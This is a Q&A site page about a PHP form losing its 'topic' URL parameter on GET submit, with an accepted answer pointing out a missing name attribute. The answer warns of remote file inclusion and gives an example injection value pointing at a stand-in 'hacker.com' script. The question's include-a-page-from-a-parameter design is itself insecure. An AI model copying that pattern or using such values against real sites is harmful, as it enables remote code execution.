drd43058 2018-06-26 15:37
浏览 74
已采纳

PHP $ _GET从URL字符串中删除变量

I am trying to create my form to $_GET for bookmarks later down the road. Currently whenever I have tried to $_GET my value, it always sends me to the page I made default on load. One thing I have tried was using a hidden value Using this line of code (Commented it out in my example below of where I tried it):

<input type='hidden' value='<?=$topic?>'/>

I have a web url:

https://mywebpage.com/testphp.php?topic=home.php

The reason for the topic=home.php is that I am going to be switching pages all from the testphp.php page and each will have their own seperate form. If the webpage is loaded with topic=null or topic = "", then it will default to home.php.

When I am creating a HTML Form (Pretty Basic for now) on home.php, omitted everything except the form:

<form id = "test" method = "GET">
    <!--<input type='hidden' value='<?=$topic?>'/>-->
    <input type="text" name="firstname" Value = '<?=$fname?>' onchange="rememberField(this)">&nbsp;
    <input type="Submit" name="Search" >
</form>

Using $_GET for "firstname" on my subpage.php

<?php
    include 'index.php';
    $fname = "";
    $reqmethod = $_SERVER["REQUEST_METHOD"];
    if($reqmethod == "GET") {
        $fname = $_GET["firstname"];
    }
?>

Gathers the "firstname" as it should, and use it to input into the SQL that I create, but the thing it doesn't do is maintain the firstname=ben part.

Instead the new web url looks like this, which will default to home.php:

https://mywebpage.com/testphp.php?firstname=ben

The expected result that I want is:

https://mywebpage.com/testphp.php?topic=home.php&firstname=ben

  • 写回答

2条回答 默认 最新

  • dongsun5330 2018-06-26 15:40
    关注

    You missed the name attribute:

    <input type='hidden' value='<?=$topic?>' name='topic'/>
    

    P.S. this approach of including server side scripts are venerable to security attacks, so beware!

    Just take and example if someone manages to inject this topic=http://hacker.com/erase-all-pages.php

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(1条)

报告相同问题?

悬赏问题

  • ¥15 oracle集群安装出bug
  • ¥15 关于#python#的问题:自动化测试
  • ¥20 问题请教!vue项目关于Nginx配置nonce安全策略的问题
  • ¥15 教务系统账号被盗号如何追溯设备
  • ¥20 delta降尺度方法,未来数据怎么降尺度
  • ¥15 c# 使用NPOI快速将datatable数据导入excel中指定sheet,要求快速高效
  • ¥15 再不同版本的系统上,TCP传输速度不一致
  • ¥15 高德地图2.0 版本点聚合中Marker的位置无法实时更新,如何解决呢?
  • ¥15 DIFY API Endpoint 问题。
  • ¥20 sub地址DHCP问题